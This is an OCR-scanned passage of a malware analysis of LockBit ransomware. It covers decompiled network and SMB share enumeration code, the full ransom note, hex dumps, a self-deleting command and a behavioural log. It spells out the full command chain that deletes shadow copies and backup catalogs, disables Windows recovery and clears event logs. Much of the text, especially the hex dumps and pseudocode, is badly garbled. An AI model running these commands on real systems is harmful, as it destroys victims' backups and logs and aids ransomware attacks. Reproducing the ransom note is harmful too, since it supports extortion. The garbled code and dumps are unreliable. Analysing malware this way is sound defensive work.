if ((*({byte *) ((int)&list _of logical driwver letters + ({int)juVard >> 3)) >> (uVar3 & 7) & 1) !=
oy
driver type = GetDriveTypeW((LPCWSIR)&local 18):r
/* 0xd -> DRIVE REMOTE */
if ([driver tvpe == 4) {
oc c = 0x200

pRemotellame = [LEFWSTR)malloc (0x400) 7
[Varl = WHetGetConnectionW({{LPCWSIR)s&local 18, lpRemotelNames, elocal_cjr
if {OVarl == 0) {
PathBemowveBackslashW({lpEemotellame) 7
ppvVar? = (HRNDLE *)
CreateThread ( (LPSECURITY ATTRIBUTES)O0x0,0,lpStartiddress 0040a530, lpRemotellame, 0
&local _10)»
(slpHandles_ 00427960} [DAT_0042%310] = ppvVar
LOCKE() r

DAT 00429310 = DAT 00423931

local 18 = local 18 & Oxfff££0000 | {(uint) {ushort) { {short)locel 18 - 1);
} while {(uvVari != 0);
network_scanning { (LENETRESCURCEW) Ox0) »
return;

1
Network Enumeration

LockBit can also access the network shares that require user credentials by calling
WNetAddConnection2W with lpUserName=0 and lpPassword=0 which automatically
sends the username and password of the currently logged in user.
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https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getlogicaldrives
https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getdrivetypew
https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetgetconnectiona
https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetopenenumw
https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetenumresourcea
https://docs.microsoft.com/en-us/windows/win32/api/winnetwk/nf-winnetwk-wnetaddconnection2w

[+ oxiba = 445 +/

uVar? = open_sccket({char *)&local 30,0xlkd):
if ({({{char)uVarz != "\0") || ({(uVarZ = open socket({{char *)slocal 30,0x87), ({(charjuVarz != "\0'}
) &8 {pWVar3 = (LPWSTR)malloc{0x3c), pWWard !'= (LPWSTR)O=x0)}) {
local 3e = 0x250020;
local_3a = 0x53;
local 36 = 0Or
local 34 = 0x31;
local 32 = 07
waprintfW (ohVar3, (LPCWSTIR) {{int) &local_3= + 2),&local_30):

wrapper enumerate share with creds({({char *)oW/ari):
}
Connecting Over SMB
waprintiW(local 264, (LBCWSTR) ({int)&local la + 2),param 1);

local 5Sc.lpRemoteName = local 264

local 5c.lplocalName = (LEWSTR)Ox0;
local_ 5c.lpProvider = (LEWSTR)Ox0;
/* make a connecticn to a network resource with lpUserName=0 and lpPassword=0

which autcmatically uses the username and password of the cuurent logged in

user. */
WHetkddConnectionaW ( (LENETRESCOURCEW) elocal_Sc, (LBCWSTR) 0x0, (LBCWSTR) Ox0,0)
r7 = &glocal_34;
[WVar? = NetShareEnum(param 1,1, {char *)&local_ 3c,0xffiff, (ushort *)slocal_Zc,

{ushort *jelocal 38);

Conriécii-r_m-g To Shares With Creds.

The Ransom Note

While LockBit is performing the encryption, it will drop a text file called Restore-My-
Files.txt which is the ransom-note.

All your important files are encrypted!Any attempts to restore your files with the
thrid-party software will be fatal for your files!RESTORE YOU DATA POSIBLE ONLY
BUYING private key from us.There is only one way to get your files back:| 1. Download
Tor browser - and install it.| 2. Open link in TOR browser - ?A0C155001DDOCBXxXXEDAGD
This link only works in Tor Browser! | 3. Follow the instructions on this page ###
Attention! ### # Do not rename encrypted files. # Do not try to decrypt using third
party software, it may cause permanent data loss. # Decryption of your files with the
help of third parties may cause increased price(they add their fee to our). # Tor
Browser may be blocked in your country or corporate network. Use or use Tor Browser
over VPN. # Tor Browser user manual !!! We also download huge amount of your private
data, including finance information, clients personal info, network diagrams,
passwords and so on.Don't forget about GDPR.

The content of this file is also encrypted and it has been decrypted in memory before writing
the files.
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Address | Hex

O018F6LE
O018FGEE
O018F67E
O018F&BE| 42 72
O01EFE9E| 46 &F
O01E8FGABE| 75 63
O018FGEEB | 70 &1
O018F6CE| 41 74
O018F6DE | 20 23
O018FGEB | 20 &5
0018F6FE| 2E 0D
O018FFOB| 20 74
0O01E8F71B| &7 20
O01EF72ZE| 66 74
O018FF3B| 61 75
O018F74B| 61 74
O018F7F5B| 63 72 79
O018FF&BE| 20 66 &9
0O018F77B| 65 65 &C
O018F7BB |72 74 &9
O01E8F79E
O01E8FTAE
O018FTEE
O018FFCB| 54 6F
O018FFDE| 62 &5
O018FFEB| 75 72
O018FFFB| 72 70 6F
O018F80B| 20 55 73
001EF81E| 64 &7 65
O01E8F82B| 6F 72 &7
O018F83B |72 &F 77
0O018F84B | 0D 0A 20
O018F85B| 20 75 73
O018F86B |70 73 3A
0O018F87B|6F 72 7O
O018F88B| 6F 75 74
O01EF89E| 6L 73 6F
O01EF8AB| 65 20 61
O018F8EBE| 20 70 72
0018F8CE| 6E 63 6C
O018F8DE| 20 69 &E
O018F8EB| 69 65 &E
NM18FRER | £F A6 &F

oo 00
oD 0A
6C 79

oo
o9
20
&F
&L
74
&7
74
20
&E
oA
&F
74
7
73
61

74 68 &5

72
20
20

00
20
77
77
&
&3
&5
&5
44
63
z0
20
&8
&1
&5
z0
70
&C
70
&5

7o

oo cs 20 72

20
62
63
72
&5
73
20
73
23
65
2F
72
20
20
&D
69
75
66
74
el

84 60 62 72
62 72 64 20
72 85 2C 20

20 70 g2 72

6L
74
&5

20
73
&5

20
&F
42
6
&F
61
20
2E
&F
[

20
72
2F
&F
oD
&4
&F
76
64
&F
73
0N

6F
69
73
6F
20
6l
61
20
72
&F
75

74
3=
74
72
72
54
20
74
BA
oA
&F
75

61
69
72
20
[

73
&F
20
66
&D
73
64
&F
&F
63
&E
[
74
&F
20
20
&F
&D
62
[
oD
’7
BE
74
&E
&D
70
[

73
GE
77
20
61
65

&4
75

77
GE
74
20
74
72
75

&F
72
61
2D
63
oA
&E
74
&5
67
61
65
Zd

o0
20
20
20
&5

&E
74

20
79
70
69

2E
20
69

&4
20
72
73
65
72
6E
70
70
73
76
20
GE

74
21

20
20
20
74
72
77

o0

89
oD
85

21
20

(13
70
el
74
61
oo
&F
74

20
74
29
65
64
79
&85
73
72
[
(3
42
75

ZE
21
&F
&F
64
66
69
73

oo
69
6E
oA
20

20
72

&F
74
72
20
&E
oA
[15)
&5

70
&5
2E
72
20
20
74
3A
&F
20
72
72
61

&F
21
61
[19)
&1
69
&F
&F
i

0o
GE
20
7C
a9

23
65

74
20
74

&5
20
20
20

72
&5

20
69
&F
77
2F
8A
£4
20
6F

75
72
20
64
20
74
BE
G&E
GE
(]

0o
GE
54
20
&E
&8
23
23
&E
69
20
75
79
61
GE
23
79
74
64
75
&9
89
oA
6D
&E
72
&F
2F
&5
&F
1

75
20
6F
33
73
69
23
23
61
&
74
73
20
79
74
20
&F
[=1=
20
73
63
72
20
61
20
20
72
62
63
72
5O

70
&6F
72
2E
74
73
20
oD
&D
65
72
69
73
20
20
44
75
65
70
65
&5
20
23
79
79
63
&E
72
74
20
4E

27
&E
20
20
72
20
20
oA
&5
73
79
&E
&F
63
&4
65
72
20
61
20
25
L15)
20
20
&F
&F
ZE
69
2E
4z
2E

i T
20 6B 74 74
Sl Sl 2L 74

67
L7
20
79
61
61
2C
61
0N

2F
(=1
&5
&F
2C
6E
20
&
sd

61
20
75
75
20
63
63
20
a9

62
61
&7
72
69
65
&
69
&1
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Address | Hex

ASCII

0018F942 | 41
0018F952 | &E
0018F962 | 72
0018F372 | 65
0018F982 | 20
001E8F992 | 20
D01E8F9AZ | 20
0018F3B2 | 65
D018F2C2 | 20
0018FS9D2 | 20
O018F9EZ2 | 45 20 4F
0018F3F2 | 63 76 61
0018FAD2 | 73 ZE OD
0018FALZ2 | 73 20 &F
0018FAZ2 | 20 79 6F
O018FAZZ2 | 3A 0D OA
0018FA42 | 61 &4 20
O018FAL2 | 20 6B 74
0O018FAG2 |70 72 &F
0018FA72| 20 &9 BE
0018FAB2| 32 ZE 20
001E8FAS2 | 54 4F 52
DO1EFAAZ |74 70 3A

6
74
79
&D
79
74
73
20
66
59

&C
20
70
70
&F
&8
&F
55
53
4F

z0
&6
74
74
75
&5
&6
61
&C
55
4E
74
DA
&E
75
oD
54
74
BA
73
4F
20
zF

79
69
&5
73
72

6F
6C
64
20
20

75
[
21
74
66

72
73
oD
6F
69

all 74 C8 72
L2 77 el 72

74
65
20
4C
65

&1
73
44
59
z0

20
oD
t4
4z
65

22 88 65 72

65
72
oA
&F
70
&5
74
70
&2
2F

20
20
7C
72
73
63
61
&5
72
6C

Ransom-Note In Memory

Self Deleting

6l
69
31
62
2F
2E
6C
20
Fird
63

20
20
oA
20

&9
B85
66
oA
41
55

79

2E
72
2F
&F
20

73
&E

69
61
41
72
&5
&4
20
&F
52
20
59

20
65
20
6F
77
72
689
69
65
62

72
GE
65
73
2D
77
72
45
Lo
43

74
73
44
7T
77
&7
74
&E
7z
&3

70
&5
79
73
20
70
&3
20
53
4F
4E

&F
20
&6F
73
77
2F
ZE
6B
20
74

&F
20
20
74
7
61
&
79
54
53
47
&F
20
20
62
77
65
2E
20
oD
20
2D

72
&5

61
&F
59
72
&C
&F
4F
49
20
&0
&F
&7
&1
BE
72
74
61
DA
53
20

74
&E
74
72
74
74
20
75
52
42
70
20
&E
&5
63
&
20
&F
GE
7C
&E
&5

61
63
74
65
3=
79
62
72
45
4C
72
75
&
74
GE
&F
2D
72
&4
20
20
74

L 72 22 74

All wour importa
nt files are enc
rypted!..Any att
empts to restore
vour Tiles with
the thrid-party
software will b
e fatal for wour
files!..RESTORE
YOU DATA POSIEL
E ONLY BUYING pr
ivate key Trom u
5...There is onl
¥ one way to get
vour Tiles back
I....| 1. Downlo
ad Tor browser -
https: //www. Tor
project.org, and
install it...|
2. Open link 1in
TOR browser - ht
tp: //lockbitks2t

The

After a successful execution, LockBit will delete its executable for reducing the artifacts it
leaves on the infected system. In order to do that, it runs the following command C ping

1.12.1.1 -n 22 > Nul & \ <the path to the executable>
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—— e o rpg e

® | 00404096 C785 3DFFFFFF 0000001 mow dwurd ptr ss:|jlebp-Dof, 0 'E
FF15 CCO014200 call dword ptr ds: [<&She11ExecutEExw>] —
® | D040A0AE 8BES el - (2
e 1 | b g
dword ptr ds:[004201CC <anghami.&ShellExecuteExw=]=<shel132.5hel1ExecuteExw= g
. Text: 00404040 anghami: $A0AD #9440
0O018FE38
LIy JDump 2 | 8% Dump3 | @yDump4 | @4 Dump s [x=I Locals ToErTeeS
SCIT ~| 55257455 | ooss0070
D018FAS4 z0 00 2F 00[43 00 20 0Q0[70 OO oo|.p.. ./.C. .p.i. DﬂlgF?94 D0E700GE
0018FAS4 | 6E 00 &7 00|20 00 31 0OO|2E 00 31 00|2E 0031 0O(n.g. .1...1...1. EIEIlSF?‘E!S 00310020
0018FAA4| ZE OO0 31 00|20 00 2D O0O|gE OO 20 Q0|32 O 32 00f..1. .-.n. .2.2. DDlSF:ElC 003100ZE
0018FAEB4| 20 00 3E 00|20 00 4E OO(F5S OO &C 00|20 2600 .=. .MN.u.T. & DDiSF:“ 0021002E
0018FAC4 43 00 3A 00|5C 00 55 00|73 65 00| .".C.:.%.U.5.e. DDioFﬂﬁ 0031002E
DO1SFAD4 |72 OO0 73 O0|5C 00 41 00|4C 00 4F 00(4C B0 4D 00| r.5.%.A.L.0O.L.M, 0015FAAS | DOZ2D0O0Z20
O018FAE4| 61 00 63 00|68 00 &9 OD|6E OO0 &5 0OO0(S5C 00O 44 00| a.c.h.i.n.e.’.D. EIEIle-‘ 00Z0006E
O018FAF4| 65 00 73 00(6E 00 74 0O0|&F OO0 70 0O(SC OO 4C 00|e.s.k.T.o.p.N.L. 001EFAED | DOZZ0OD22
CO18FEO4 | 6F 00 &2 00(GE Q0 42 Q0|69 00 74 00(209W0 52 00|o0.Cc.k.B.1.T. .R. DDISF:B4 D0ZEDDZ0
0018FB14(61 00 &6E 0O0O(Z3 00 GF QO(6eD 00 77 0OD|61 RO 72 00| A.N.5.0.M.wW.a.F. i DDISF?ES 004E0020
0018FBZ24( 65 00 5C 00|61 00 &E OO(&7 OO &5 00|61 &0 00 E.\.a.n.g.h.a:p. = DDISF?BC 006CO0TS
0O018FB34 (g2 00 22 Q0|00 00 00 OO|Q0 DO FR FE |00 EO 7 ‘I':" ...... By dlye a EIEIlSF?CD 00260020
OO1EFE44 (00 o0 0O QOO0 0O OO0 00|00 OO OO0 e DDl"F:C-l 00220020
MOTAFRC Al ny W Mot Oene Doy el (0 Oene O O e 0 L oen O e e ,b—-‘—h
Self Deleting

Inhibiting System Recovery

As almost all ransomware does, LockBit will delete the volume shadow copies, the backup
catalog, disable automatic windows recovery, and clear the windows logs as well by running

the following commands.

/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set
{default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled
No & wbadmin delete catalog -quiet/c vssadmin Delete Shadows /All /Quiet/c bcdedit
/set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy
ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE
SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil cl
security/c wevtutil cl system/c wevtutil cl application

After Decrypting The Commands In Memory

CKUP™
\CKUP -deleteoldest”
ACKUP -delete0ldest”

et

8DSC24 FCO30000 Tea ecx, dword ptr 3 [ESp—’FC]

€600 00 mov uyte ptr ds: [eax] tutil 1 system”

884424 20 mov eax,dword :r 5 teap 200 c vssadmin Delete Shadows /A1l /Quiet”

898424 BB0CO000 mov dword ptr ss: n Delete shadows /A1l /Qu

888424 68060000 mov eax,dword ptr ss: ¢ becdedit /set {default] recoveryenabled No™

898424 SCOCO000 mov d-mrd ptr ss:[fesp € bcdedit /set {dE‘auTt} recoveryenabled No™

888424 68080000 mov eax,dword ptr c bcdedit /set

898424 %00C0000 mov dword ptr ss: < becdedit

8B8424 64080000 mov eax,dword c wbadmin DELETE SYSTEMST.

898424 940C0000 mov dword ptr ¢ wbadmin DELETE SYSTEMST:

888424 SCOS0000 mov eax,dword € wbadmin DELETE SYSTEMST.

898424 980CO0000 mov dword ptr € wbadmin DELETE SYSTEMST.

888424 60080000 mov eax,dword € wmic SHADOWCOPY /nointeractive

898424 SCOCO000 mov dword ptr © wmic SHADOWCOPY /nointeractive™

B8B8424 58030000 mov eax,dword [ c wevtutil cl security"

598424 A0OCO000 mov dword ptr ss: [esp+Can] ¢ wevtutil ¢l security

E8424 E€COS0000 mov eax,dword [esp+86C] c wevtutil ¢l system

gga:g:ﬁﬁ:&goooo rlle\‘a‘dn:‘_}‘:ghg't‘r [esp+CA4]: " /c wevtutil cl system"

Hex ASCII

001EFBES0 2R 62 20 76|73 73 61 6E 20|64 65 &C 65| /c vssadmin dele
O018FB30 |74 65 20 73|68 61 64 6F |77 73 20 2F |61 6C &C 20| te shadows /all
O0O18FBAD| 2F 71 75 69|65 74 20 26|20 77 6D 63|63 20 73 68| /quiet & wmic sh
O0018FBEBO| 61 64 6F 77|63 6F 7O 73|20 64 65 6C |65 74 65 20| adowcopy delete
O018FBCO| 26 20 &2 63|64 &5 &4 63|74 20 2F 73|65 74 20 7BE|& bcdedit /set {
0018FBDO| 64 65 66 61|75 &C 74 7D |20 62 6F &F |74 73 74 61 |default} bootsta
O018FBED| 74 75 73 FO|6F 6C 63 63|79 20 69 &7 |6E 6F 72 65| tuspolicy ignore
O018FBFO| 61 &6 &C 66|61 6% &C 75|72 &5 73 20|26 20 62 63| allfailures & bc
O018FCO0| 64 65 64 63|74 20 2F 73|65 74 20 7E|64 65 66 61| dedit /set {defa
0018FC10| 75 &C 74 7D |20 72 &5 63 i I2|79 65 6E 61| U1t} recoveryena
O018FC20| 62 6C &5 64|20 6E &F 20|26 20 77 62|61 64 6D &%|bled no & wbadmi
O018FC30|6E 20 64 65 (6C 65 74 65|20 63 61 74|61 6C &6F &7 | n delete catalog
O018FC40( 20 2D 71 75(69 &5 74 00|40 OO0 OO0 OO|BS 01 01 00| -guiet.M...u...

{default} bootstatuspolicy ignoreallfailures”
set {default} bQGL;(a[u;pOT‘Cy ignoreallfailures”
UpP™
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Parert PID: 2772, Command line: “"C:\Users\ALO LMachine\Desktop'\anghami exe" . Current drectory: C:\Windows's...

2792 ¥ Process Crete  C:\Windows'\System 32\amd exe SUCCESS PID: 1344, Command line: "C:\Windows'\System 32\omd exe” /c vssadmin delete shadows /all /quiet & wmic shadow...
2792 £ Process Create  C:\Windows'system32\omd exe SUCCESS PID: 2264, Command line: /c vasadmin Delete Shadows /Al /Quiet
2792 88 Process Create  C\Windows'system32\omd exe SUCCESS PID: 1524, Command line: /c bededit /et {default} recovenyenabled No
2792 88 Process Create  C\Windows'system32\omd exe SUCCESS PID: 1708, Command line: /c bededtt /zet {default) bootstatuspolicy ignorealffailures
2792 8FProcess Cregle  C:\Windows'system32\emd axe SUCCESS PID: 2004, Command line: /c wbadmin DELETE SYSTEMSTATEBACKUP
2752 88 Process Credle  C:\Windows'system32\omd exe SUCCESS PID: 2544, Cornmand line: /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteQldest
2752 &8 Process Create  C:\Windows'system32\omd exe SUCCESS PID: 2240, Command line: /c wmic SHADOWCOPY /nointeractive
2792 &% Process Create  C:\Windows'system32\emd exe SUCCESS PID: 1988, Cornmand line: /¢ weviuti ol security
2792 &3 Process Create  C:\Windows'system32'cmd exe SUCCESS PID: 1852, Command line: /c weviuti cf system
2792 & Process Create  C:\Windows'system32\cmd exe SUCCESS PID: 1138, Command line: /c weviutil ¢l application
2792 & Process Creste  C:\Windows'system32\cmd exe SUCCESS PID: 792, Command line: /c vssadmin Delete Shadows /All AQuiet
2792 8 Process Create  C:\Windows'system32\cmd exe SUCCESS PID: 536, Command line: /c bededit /set {defautt} recoveryenabled No
2792 & Process Create  C\Windows'system32\cmd exe SUCCESS PID: 1268, Command line: /c bodedtt /set {default) bootstatuspolicy ignorealffailures
10:05:30.09736... 8- anghami exe 2792 &3 Process Cregte  C:\Windows\system32\cmd exe SUCCESS PID: 2748, Command line: /c wbadmin DELETE SYSTEMSTATEBACKUP
10:05:30 20975... 8- anghami exe 2792 &3 Process Create  C:\Windows\system32\cmd exe SUCCESS PID: 2252, Command line: /c wbadmin DELETE SYSTEMSTATEBACKUP -deleteQOldest
10:05:30.31578... W anghami exe 2792 £ Process Create  C:\Windows\system32\emd exe SUCCESS PID: 724, Command line: /¢ wmic SHADOWCOPY /nointeractive:
10:05:30.42860... W anghami exe 2792 £ Process Create  C:\Windows\system32\emd exe SUCCESS PID: 2708, Command line: /c wevtuti ¢l security
10:05:30.52433... W~ anghami exe 2792 B Process Create  C:\Windows'system32\omd exe SUCCESS PID: 392. Command line: /c weviutil ¢l system
10:05:30.64623... W~ anghami exe 2792 QY Process Create  C:\Windows'system32\omd exe SUCCESS PID: 452, Command line: /c weviutil ¢l application

Behavioral Analysis Artifacts Of The Executed Commands

Mitre TTPs

The following is a list of the most important MITRE ATT&CK TTPs identified while analyzing
the malware.

Mitre TTPs

Thanks for reading, your comments and feedback are most welcomed (&)
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